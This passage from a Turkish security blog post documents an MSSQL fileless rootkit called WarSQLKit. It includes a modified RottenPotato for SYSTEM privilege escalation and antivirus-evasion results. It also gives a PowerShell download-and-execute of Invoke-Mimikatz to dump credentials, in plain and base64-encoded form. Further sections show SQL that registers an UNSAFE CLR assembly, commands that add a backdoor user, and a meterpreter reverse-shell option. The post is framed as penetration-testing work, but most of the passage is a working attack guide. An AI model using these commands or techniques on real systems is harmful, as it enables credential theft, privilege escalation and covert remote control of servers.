href=\"https:\/\/www.virustotal.com\/#\/file\/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d\/detection\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.virustotal.com\/#\/file\/6cf4dec3dc1dc91a21e17a1e3ca106d7a4ebd4fd23b96de71c9490bf8d24897d\/detection<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Base64 T\u00fcrden Encode Edilmi\u015f ShellCode\u2019un Test Sonu\u00e7lar\u0131<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jotti (1\/18):&nbsp;<a href=\"https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/uesbd8p86z\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/virusscan.jotti.org\/en-US\/filescanjob\/uesbd8p86z<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">NoDistribute (1\/32):&nbsp;<a href=\"https:\/\/nodistribute.com\/result\/W1sUCXO4znfEiITJjhbx6\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/nodistribute.com\/result\/W1sUCXO4znfEiITJjhbx6<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">VirusTotal (3\/64):&nbsp;<a href=\"https:\/\/www.virustotal.com\/#\/file\/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33\/detection\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.virustotal.com\/#\/file\/4f9c60b05235dde6e165fa71fa15c6aedbefeb7ef91138c569fe118eb15a2b33\/detection<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Halihaz\u0131rda sadece Eset\u2019e yakalan\u0131yoruz, tabi daha farkl\u0131 y\u00f6ntemler de kullan\u0131labilir. Ancak temel olarak Rootkit\u2019de kulland\u0131\u011f\u0131m y\u00f6ntem bu diyebiliriz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">10. RottenPotato (Kumpir.exe) \u00dczerinden Hak ve Yetki Y\u00fckseltme<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Bu b\u00f6l\u00fcmde her \u015feyin haz\u0131r oldu\u011funu varsay\u0131yorum. Hesab\u0131n\u0131 ele ge\u00e7irdi\u011fimiz bir SQL Server, varsay\u0131landa \u201cNT Service\\MSSQLSERVER\u201d hak ve yetkilerinde \u00e7al\u0131\u015f\u0131yordur. Yani NT Service Management Service Account\u2019undan \u201cMSSQLSERVER\u201d isminde bir Virtual Account t\u00fcr\u00fcnde \u00e7al\u0131\u015f\u0131yor. Bu bir Windows i\u015fletim sisteminde bilinen en d\u00fc\u015f\u00fck hak ve yetki t\u00fcr\u00fcd\u00fcr. Bu hak ve yetki t\u00fcr\u00fcnden \u201cNT AUTHORITY\\SYSTEM\u201d hak ve yetkilerine s\u0131\u00e7ramam\u0131z gerekiyor. MS-SQL 2016\u2019da hak ve yetki y\u00fckseltme ile ilgili yazm\u0131\u015f oldu\u011fum&nbsp;<a href=\"https:\/\/eyupcelik.com.tr\/guvenlik\/491-windows-server-ve-mssql-server-2016-privilege-escalation\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/eyupcelik.com.tr\/guvenlik\/491-windows-server-ve-mssql-server-2016-privilege-escalation<\/a>&nbsp;yaz\u0131y\u0131 konunun daha anla\u015f\u0131l\u0131r olmas\u0131 a\u00e7\u0131s\u0131ndan okuman\u0131z\u0131 \u00f6neririm.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">RottenPotato kullanarak Privilege Escalation (Hak ve Yetki Y\u00fckseltme) i\u015flemleri ger\u00e7ekle\u015ftirebiliriz. Ancak Rottenpotato, varsay\u0131landa Meterpreter oturumu almam\u0131z\u0131 ve bu Meterpreter oturumundan incognito arac\u0131 ile hak ve yetki y\u00fckseltmemizi istiyor. Bunun b\u00f6yle olu\u015fu pek ho\u015fuma gitmiyordu, nitekim Meterpreter oturumu yerine olu\u015fturdu\u011fum stored procedure\u2019e girilen i\u015fletim sistemi komutlar\u0131n\u0131n \u201cSYSTEM\u201d hak ve yetkileri ile \u00e7al\u0131\u015fmas\u0131n\u0131 istiyordum. Bunun i\u00e7in kullan\u0131lan Rottenpotato uygulamas\u0131n\u0131n biraz modifiye edilmesi gerekiyordu. Stajyer arkada\u015flar\u0131m\u0131zdan Berat \u00d6zbay\u2019a, staj konusu olarak verdi\u011fim rottenportato\u2019nun modifiye edilmesi konusu harika bir zamanlamayla i\u015fimizi \u00e7\u00f6zd\u00fc. Tam ihtiyac\u0131m\u0131n oldu\u011fu anda, rottenpotato\u2019nun modifiye halini bana iletti. Rottenpotato bu modifikasyondan sonra \u201c<strong>Kumpir<\/strong>\u201d ismini ald\u0131.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kumpir uygulamas\u0131n\u0131 bir byte stream olarak Rootkit\u2019imize (WarSQLKit) g\u00f6mmem gerekiyordu. sp_cmdExec strored procedure\u2019e \u201c<strong>\/RunSytemPriv<\/strong>\u201d parametresi ile herhangi bir komut iletildi\u011finde, kumpir.exe\u2019nin byte stream\u2019ini d\u0131\u015far\u0131 exe halinde atacak ve gelen komut dizisi kumpir.exe \u00fczerinden sisteme iletilecek ve komut \u00e7\u0131kt\u0131s\u0131 geri d\u00f6nd\u00fcr\u00fclecektir. \u015eimdi kumpir\u2019in byte stream\u2019ini nas\u0131l aktard\u0131\u011f\u0131ma bakal\u0131m.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/24_kumpir-1024x391.png\" alt=\"\" class=\"wp-image-520\"\/><figcaption class=\"wp-element-caption\">24_kumpir<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Kumpir.exe i\u00e7in bir class olu\u015fturdum. KumpirBytes() metodunda hex ad\u0131nda bir string tan\u0131mlad\u0131m. Bu stringe kumpir.exe\u2019nin byte stream\u2019ini tan\u0131mlad\u0131m. Daha sonra bu byte stream\u2019i d\u0131\u015far\u0131 exe olarak export etmem gerekiyor.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/25_kumpir_export.png\" alt=\"\" class=\"wp-image-521\"\/><figcaption class=\"wp-element-caption\">25_kumpir_export<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">File.WriteAllBytes ile Kumpir.exe\u2019yi export ettim. Fakat \u015f\u00f6yle bir sorunum var, kumpir.exe\u2019nin (Rottenpotato) 3 adet ba\u011f\u0131ml\u0131l\u0131k dosyas\u0131 var. Bunlar \u201c<strong>Microsoft.VisualStudio.OLE.Interop.dll<\/strong>\u201d, \u201c<strong>NHttp.dll<\/strong>\u201d ve \u201c<strong>SharpCifs.dll<\/strong>\u201d dosyalar\u0131d\u0131r. Bu dosyalar\u0131n her birini ayr\u0131 ayr\u0131 byte stream olarak okuyup, yazd\u0131rmak ve her komutta d\u0131\u015far\u0131 export edip sonra silmek \u00e7ok uzun i\u015f olacakt\u0131r. ILMerge ile bu ba\u011f\u0131ml\u0131l\u0131klar\u0131 kumpir.exe ile merge ettik. Fakat sonu\u00e7 yine h\u00fcsran. \u00c7\u00fcnk\u00fc Kumpir.exe\u2019nin boyutu 727 KB\u2019ye ula\u015ft\u0131. 727 KB\u2019nin byte stream\u2019i de olduk\u00e7a b\u00fcy\u00fck olacakt\u0131r. Ayr\u0131ca WarSQLKit.dll (Rootkitimiz) dosyam\u0131z\u0131n boyutunda inan\u0131lmaz bir b\u00fcy\u00fcmeye sebep olmaktad\u0131r.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kumpir.exe\u2019yi mpress ile s\u0131k\u0131\u015ft\u0131r\u0131yoruz. 727 KB\u2019lik kumpir.exe dosyam\u0131z 283 KB\u2019ye d\u00fc\u015ft\u00fc. 283 KB\u2019lik kumpir.exe\u2019yi byte stream olarak hex de\u011fi\u015fkenimizin i\u00e7erisine dolduruyoruz.&nbsp; Ard\u0131ndan \u201cFile.WriteAllBytes\u201d ile Kumpir.exe\u2019mizi C:\\ProgramData dizinine yazd\u0131r\u0131yoruz. Normal \u015fartlar alt\u0131nda 727 KB\u2019lik tamamen FUD durumdad\u0131r. Herhangi bir antivir\u00fcse yakalanm\u0131yor. Ancak compress etti\u011fimiz ve 283 KB\u2019lik boyuta sahip olan Kumpir.exe dosyam\u0131z ise sadece Avira\u2019ya yakalanmaktad\u0131r. Mpress\u2019te kullan\u0131lan s\u0131k\u0131\u015ft\u0131rma tekni\u011finden dolay\u0131 Avira taraf\u0131ndan zararl\u0131 olarak g\u00f6r\u00fcn\u00fcyor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No Distribute:&nbsp;<a href=\"https:\/\/nodistribute.com\/result\/1jYc9lBu0pqFPg53nm4\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/nodistribute.com\/result\/1jYc9lBu0pqFPg53nm4<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">11. Mimikatz ile Oturum Bilgilerini Elde Etme<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">T\u00fcm bu ad\u0131mlar\u0131 s\u0131zma testlerinde uygulayaca\u011f\u0131z. Ancak temel amac\u0131m\u0131z, Domain Controller\u2019\u0131 ele ge\u00e7irmek olaca\u011f\u0131ndan dolay\u0131 \u201c<strong>Mimikatz<\/strong>\u201d ile Clear-Text parolalar\u0131 ya da en k\u00f6t\u00fc ihtimal ile NTLM anahtarlar\u0131n\u0131 ele ge\u00e7irmemiz gerekiyor. Bu ama\u00e7la RunMimikatz() ad\u0131nda bir metot olu\u015fturdum. Uygulamam\u0131z gidip Powersploit\u2019in GitHub adresinden Mimikatz\u2019in Powershell mod\u00fcl\u00fcn\u00fc \u00e7ekip \u00e7al\u0131\u015ft\u0131racak ve sonu\u00e7lar\u0131 bize d\u00f6nd\u00fcrecektir. \u0130\u015flem i\u00e7in a\u015fa\u011f\u0131daki kodu kullanabiliriz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Powershell IEX (New-Object Net.WebClient).DownloadString('https:\/\/raw.githubusercontent.com\/PowerShellMafia\/PowerSploit\/master\/Exfiltration\/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Buraya kadar her \u015fey g\u00fczel. Lakin bir problem var, bu powershell kodu yakalanabilir. Bu y\u00fczden base64\u2019e \u00e7evirerek \u00e7al\u0131\u015ft\u0131rmam\u0131z gerekiyor.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Powershell kodumuzun base64 hali yukar\u0131daki gibi olacakt\u0131r. Bu k\u0131s\u0131mdan sonra maalesef bamba\u015fka problemler ile kar\u015f\u0131la\u015f\u0131yoruz. MSSQL \u00fczerinden \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131m\u0131z powershell kodu maalesef ki bize output vermiyor. Output alamamam\u0131z\u0131n sebebi, nvarchar\u2019\u0131n 4000 karakterden fazlas\u0131n\u0131 bize d\u00f6nd\u00fcrememesidir. Mimikatz output\u2019u 4000 karakterden \u00e7ok daha b\u00fcy\u00fck olacakt\u0131r. Bir kullan\u0131c\u0131n\u0131n oturum a\u00e7t\u0131\u011f\u0131 Windows Server 2016 \u00fczerine kurulu olan MS-SQL Server 2016 \u00fczerinden i\u015fletim sisteminde komutu \u00e7al\u0131\u015ft\u0131rd\u0131\u011f\u0131mda mimikatz, yakla\u015f\u0131k olarak 22000+ karakterlik bir \u00e7\u0131kt\u0131 veriyordu. Dolay\u0131s\u0131 ile 4000 karakterden b\u00fcy\u00fck \u00e7\u0131kt\u0131 alamad\u0131\u011f\u0131m i\u00e7in WarSQLKit.dll hata mesaj\u0131 d\u00f6nd\u00fcrmektedir. Sorunu a\u015fmak i\u00e7in Mimikatz \u00e7\u0131kt\u0131s\u0131n\u0131 ge\u00e7ici bir dizine \u201c<strong>mimi.log<\/strong>\u201d ad\u0131 ile kaydettirmeye karar verdim.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>RunMimikatz(\"cmd.exe\", \"\/c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== &gt; C:\\\\\\\\ProgramData\\\\\\\\mimi.log 2&gt;&amp;1\");<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">RunMimikatz metodunun sonuna \u201c&gt; C:\\\\\\\\ProgramData\\\\\\\\mimi.log 2&gt;&amp;1\u201d de\u011ferini girerek, \u00e7\u0131kt\u0131n\u0131n C:\\ProgramData dizinine mimi.log dosya ad\u0131 ile kaydedilmesini sa\u011flad\u0131m. Dikkat etmemiz gereken nokta, her dizin i\u00e7in 4 tane backslash kulland\u0131m. C# string\u2019i de\u011feri i\u00e7in 2 backslash 1 backslash manas\u0131na geliyor. Kodumuz powershell\u2019e iletildi\u011finde powershell\u2019de kalan 2 backslash de\u011ferini 1 backslash olarak de\u011ferlendiriyor. Bu sebeple 4 adet backslash de\u011ferimiz, powershell\u2019e iletildi\u011finde 1 adet backslash manas\u0131na geliyor. Bu sorunu bulup, \u00e7\u00f6zmek a\u015fa\u011f\u0131 yukar\u0131 2-3 saatimi ald\u0131 diyebilirim. Bu sebeple siz de u\u011fra\u015fmay\u0131n diye aktarmak istedim.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Yukar\u0131daki kod dizisi ile Powersploit\u2019in Mimikatz mod\u00fcl\u00fcn\u00fc, powershell \u00fczerinden \u00e7a\u011f\u0131rarak \u00e7al\u0131\u015ft\u0131r\u0131yoruz ve C:\\ProgramData dizinine mimi.log olarak kaydediyoruz. Kaydetti\u011fimiz bu log dosyas\u0131n\u0131 \u201ctype C:\\ProgramData\\mimi.log\u201d komutu ile okumay\u0131 d\u00fc\u015f\u00fcnebiliriz. Type komutu ile de maalesef okuyamayaca\u011f\u0131z, \u00e7\u00fcnk\u00fc mimi.log dosyam\u0131z yukar\u0131da bahsetti\u011fim gibi 4000 karakterden b\u00fcy\u00fck. Nas\u0131l okuruz diye d\u00fc\u015f\u00fcn\u00fcrken, \u015f\u00f6yle bir \u015fekilde sorunu \u00e7\u00f6zebilece\u011fimi g\u00f6rd\u00fcm. Kaydetti\u011fimiz mimi.log dosyas\u0131n\u0131 DLL\u2019imiz arac\u0131l\u0131\u011f\u0131 ile ge\u00e7ici bir tabloya yazd\u0131rabiliriz. B\u00f6ylece select komutu ile tablodaki veriyi yani mimikatz loglar\u0131n\u0131 getirebilece\u011fiz. \u00c7\u0131kan verileri ge\u00e7ici bir tabloya yazd\u0131rmak i\u00e7in bir sqlCommand olu\u015fturmam\u0131z gerekiyor.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/26_insert_mimi_log-1024x451.png\" alt=\"\" class=\"wp-image-522\"\/><figcaption class=\"wp-element-caption\">26_insert_mimi_log<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">GetMimiLog() ad\u0131nda bir metot olu\u015fturdum. Bu metoda 2 adet SQL komutu ekledim. Birinci Sql Command\u2019\u0131m\u0131za \u201cIF OBJECT_ID(\u2018WarSQLKitTemp\u2019)IS NOT NULL DROP TABLE WarSQLKitTemp\u201d + Environment.NewLine + \u201cCREATE TABLE dbo.WarSQLKitTemp(mimiLog text);\u201d SQL c\u00fcmlesini giriyoruz. Bu c\u00fcmle ile e\u011fer \u201c<strong>WarSQLKitTemp<\/strong>\u201d ad\u0131nda bir tablo varsa ve i\u00e7i bo\u015f de\u011filse tabloyu kald\u0131rmas\u0131n\u0131 istiyorum. Ard\u0131ndan WarSQLKitTemp ad\u0131nda bir tablo ve mimiLog ad\u0131nda text tipinde bir tablo olu\u015fturuyoruz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Daha sonra mimiLogStr ad\u0131nda string t\u00fcr\u00fcnde bir de\u011fi\u015fken olu\u015fturup, mimi.log dosyas\u0131ndaki verileri okuyarak bu de\u011fi\u015fkene at\u0131yorum. \u201cinsert into WarSQLKitTemp(mimiLog) values(@mimiLog)\u201d parametresi ile de WarSQLKitTemp tablosuna mimi.log dosyas\u0131ndan gelen veriyi yazd\u0131r\u0131yoruz.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dikkatinizi \u00e7ekmek istedi\u011fim bir di\u011fer yer \u015furas\u0131d\u0131r. \u201cSqlConnection connection = new SqlConnection(\u201ccontext connection=true\u201d)\u201d SqlConnection i\u00e7in ConnectionString olarak sadece \u201ccontext connection=true\u201d de\u011ferini girdik. Ayr\u0131ca SqlConnection bilgileri tan\u0131mlamad\u0131k. \u00c7\u00fcnk\u00fc DLL\u2019imiz zaten SQL Server\u2019da \u00e7al\u0131\u015f\u0131yor, bir daha Data Source, User ID ve Password gibi de\u011ferler set etmemiz gerekmiyor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mimikatz \u00e7\u0131kt\u0131m\u0131z olan mimi.log dosyas\u0131n\u0131 da b\u00f6ylece tabloya yazd\u0131rm\u0131\u015f oluyoruz. Bu komutlar\u0131 \u00e7al\u0131\u015ft\u0131rd\u0131ktan sonra SQL Server\u2019da \u201cselect * from WarSQLKitTemp\u201d komutunu \u00e7al\u0131\u015ft\u0131rarak, mimikatz \u00e7\u0131kt\u0131lar\u0131na ula\u015fabiliriz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">12. File Downloader<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Klasik bir Rootkit\u2019in olmazsa olmazlar\u0131ndan biridir File Downloader. WarSQLKit\u2019e de bir File Downloader yerle\u015ftirmem gerekti\u011fini d\u00fc\u015f\u00fcnerek, FileDownloader ad\u0131nda bir s\u0131n\u0131f olu\u015fturdum.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/27_file_downloader.png\" alt=\"\" class=\"wp-image-523\"\/><figcaption class=\"wp-element-caption\">27_file_downloader<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;Olu\u015fturdu\u011fum s\u0131n\u0131fa StartDownload(int timeout) ad\u0131nda bir metot tan\u0131mlad\u0131m. Bu metot ile gelen download iste\u011fi i\u00e7in WebClient olu\u015fturdum. Rootkit\u2019e gelen download iste\u011fi i\u00e7in \u201curl, kaydedilecek dizin, zaman a\u015f\u0131m\u0131\u201d \u015feklinde bir tan\u0131mlama ayarlad\u0131m. B\u00f6ylece verilen adresteki dosyay\u0131 .Net Framework\u2019\u00fcn WebClient objesi ile belirtti\u011fimiz dizine indirebilece\u011fiz.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">13. WarSQLKit (MSSQL Fileless Rootkit) Kullan\u0131m Rehberi<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">WarSQLKit.dll\u2019i SQL Server\u2019a tan\u0131mlamak i\u00e7in B\u00f6l\u00fcm 5\u2019te yer alan \u201cAssemblies \u2013 Stored Procedures \u2013 TRUSTWORTHY&nbsp; \u0130li\u015fkisi\u201d ba\u015fl\u0131kl\u0131 yaz\u0131ya g\u00f6z atman\u0131z gerekmektedir. Ben 5\u2019inci b\u00f6l\u00fcm\u00fcn \u201cDLL Dosyas\u0131n\u0131 Bir Dizinden \u00c7a\u011f\u0131rma\u201d ba\u015fl\u0131kl\u0131 alt b\u00f6l\u00fcm\u00fcnde yaz\u0131lanlara g\u00f6re devam edece\u011fim. SQL Server\u2019a Management Studio arac\u0131l\u0131\u011f\u0131 ile ba\u011flanarak a\u015fa\u011f\u0131daki kodlar\u0131 \u00e7al\u0131\u015ft\u0131ral\u0131m.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sp_configure 'clr enabled', 1\nGO\nRECONFIGURE\nGO\nALTER DATABASE master SET TRUSTWORTHY ON;\nIF (OBJECT_ID('sp_cmdExec') IS NOT NULL)\nDROP PROCEDURE sp_cmdExec\nGO\nIF EXISTS (SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec')\nDROP ASSEMBLY &#91;sp_cmdExec]\nGO\nCREATE ASSEMBLY sp_cmdExec\nFROM 'C:\\ProgramData\\WarSQLKit.dll'\nWITH PERMISSION_SET = UNSAFE\nGO\nCREATE PROCEDURE sp_cmdExec\n@Command &#91;nvarchar](4000)\nWITH EXECUTE AS CALLER\nAS\nEXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec\nGO<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Bu SQL c\u00fcmlesi ile sp_cmdExec ad\u0131nda bir Assemblies ve sp_cmdExec ad\u0131nda bir stored procedure olu\u015fturmu\u015f olduk.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/28_warsqlkit_sp_help-1024x371.png\" alt=\"\" class=\"wp-image-524\"\/><figcaption class=\"wp-element-caption\">28_warsqlkit_sp_help<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201dEXEC sp_cmdExec \u2018sp_help\u2019;\u201d komutunu \u00e7al\u0131\u015ft\u0131rarak, WarSQLKit\u2019in kullan\u0131m\u0131na bakabiliriz. S\u0131ras\u0131 ile komutlar\u0131m\u0131za bakal\u0131m.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018whoami\u2019;\u201d i\u015fletim sisteminde \u201cwhoami\u201d komutu \u00e7al\u0131\u015ft\u0131rarak, SQL Server\u2019\u0131n hangi hak ve yetkilerde \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131 bize g\u00f6sterecektir. Whoami komutu yerine herhangi bir komut \u00e7al\u0131\u015ft\u0131rabilirsiniz. Komut \u00e7\u0131kt\u0131m\u0131z a\u015fa\u011f\u0131daki gibi olacakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/29_whoami.png\" alt=\"\" class=\"wp-image-525\"\/><figcaption class=\"wp-element-caption\">29_whoami<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018whoami \/RunSystemPriv\u2019;\u201d Herhangi bir i\u015fletim sistemi komutunun sonuna e\u011fer \u201c<strong>\/RunSystemPriv<\/strong>\u201d parametresini eklersek, arka tarafta Kumpir.exe dosyam\u0131z olu\u015fturulacak ve hak \u2013 yetkimiz y\u00fckseltilerek komut \u00e7al\u0131\u015ft\u0131r\u0131lacakt\u0131r. A\u015fa\u011f\u0131daki ekran g\u00f6r\u00fcnt\u00fcs\u00fcnde \u00f6rne\u011fini g\u00f6rebilirsiniz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/30_whoami_system_priv.png\" alt=\"\" class=\"wp-image-526\"\/><figcaption class=\"wp-element-caption\">30_whoami_system_priv<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">G\u00f6r\u00fclece\u011fi \u00fczere whoami komutuna \/RunSystemPriv parametresi verdi\u011fimizde, kumpir.exe olu\u015fturuldu ve \u201cNT AUTHORITY\\SYSTEM\u201d kullan\u0131c\u0131s\u0131n\u0131n haklar\u0131 ile komutu \u00e7al\u0131\u015ft\u0131rd\u0131k. Windows komutlar\u0131 ile ilgili bir \u00f6rnek daha g\u00f6stermek istiyorum.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018\u201dnet user sKyWiPer P@ssw0rd1 \/add\u201d \/RunSystemPriv\u2019;\u201d net user komutu ile sKyWiPer ad\u0131nda, P@ssw0rd1 parolas\u0131na sahip bir kullan\u0131c\u0131 olu\u015fturmak i\u00e7in bu komutu kullan\u0131yorum. Klasik Windows komutumu \u00e7ift t\u0131rnak aras\u0131na yaz\u0131p, sonuna \/RunSystemPriv parametresini girdim. B\u00f6ylece kumpir.exe \u00e7al\u0131\u015facak ve \u00e7ift t\u0131rnak aras\u0131na yazd\u0131\u011f\u0131m komutu i\u015fletim sisteminde \u00e7al\u0131\u015ft\u0131racakt\u0131r.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/31_net_user_add.png\" alt=\"\" class=\"wp-image-527\"\/><figcaption class=\"wp-element-caption\">31_net_user_add<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\u00d6nemli Not: WarSQLKit ba\u015f\u0131na \u201csp_\u201d olmayan t\u00fcm komutlar\u0131 i\u015fletim sistemi komutu olarak de\u011ferlendirerek, i\u015fletim sistemi komutu \u00e7al\u0131\u015ft\u0131rmaya \u00e7al\u0131\u015facakt\u0131r. Benim Rootkit i\u00e7erisine tan\u0131mlad\u0131\u011f\u0131m t\u00fcm \u00f6zel parametrelerin ba\u015f\u0131nda \u201csp_\u201d mevcuttur.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018powershell Get-Acl \/RunSystemPS\u2019;\u201d WarSQLKit \u00fczerinden herhangi bir powershell kodu \u00e7al\u0131\u015ft\u0131rabilirsiniz. \u00c7al\u0131\u015ft\u0131rd\u0131\u011f\u0131n\u0131z powershell kodunun sonuna \u201c<strong>\/RunSystemPS<\/strong>\u201d komutunu ekledi\u011finizde, powershell komutunuz SYSTEM kullan\u0131c\u0131s\u0131n\u0131n hak ve yetkileri ile \u00e7al\u0131\u015ft\u0131r\u0131lacakt\u0131r. A\u015fa\u011f\u0131daki \u00f6rnekte Get-Acl poweshell komutunun \u00e7\u0131kt\u0131s\u0131n\u0131 g\u00f6rebilirsiniz.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/eyupcelik.com.tr\/wp-content\/uploads\/2022\/05\/32_powershell.png\" alt=\"\" class=\"wp-image-528\"\/><figcaption class=\"wp-element-caption\">32_powershell<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEXEC sp_cmdExec \u2018sp_meterpreter_reverse_tcp LHOST LPORT GetSystem\u2019;\u201d WarSQLKit \u00fczerinden meterpreter payload\u2019lar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131rabildi\u011fimizden ve 4 adet meterpreter payload\u2019\u0131na \u015fimdilik destek verdi\u011fimden bahsetmi\u015ftim. \u201csp_meterpreter_reverse_tcp\u201d bize klasik \u201cwindows\/meterpreter\/reverse_tcp\u201d payload\u2019unu geri d\u00f6nd\u00fcr\u00fcr.&nbsp; Bu Payload, parametre olarak bizden LHOST ve LPORT de\u011ferlerini istemektedir. Kali makinam\u0131zda \u201cexploit\/multi\/handler\u201d arac\u0131l\u0131\u011f\u0131 ile herhangi bir portumuzu listen moda ald\u0131ktan sonra WarSQLKit \u00fczerinden buraya reverse connection ger\u00e7ekle\u015ftirebiliriz. Komutumuzun sonundaki \u201c<strong>GetSystem<\/strong>\u201d parametresi ise payload\u2019umuzun SYSTEM hak ve yetkileri ile bize reverse connection yapmas\u0131n\u0131 sa\u011flar. Meterpreter payload\u2019umuz Kumpir.exe arac\u0131l\u0131\u011f\u0131 ile \u00e7al\u0131\u015facak ve bize \u201cNT AUTHORITY\\SYSTEM\u201d hak ve yetkileri ile ba\u011flant\u0131 sa\u011flayacakt\u0131r. Dilerseniz, GetSystem parametresini silebilirsiniz. 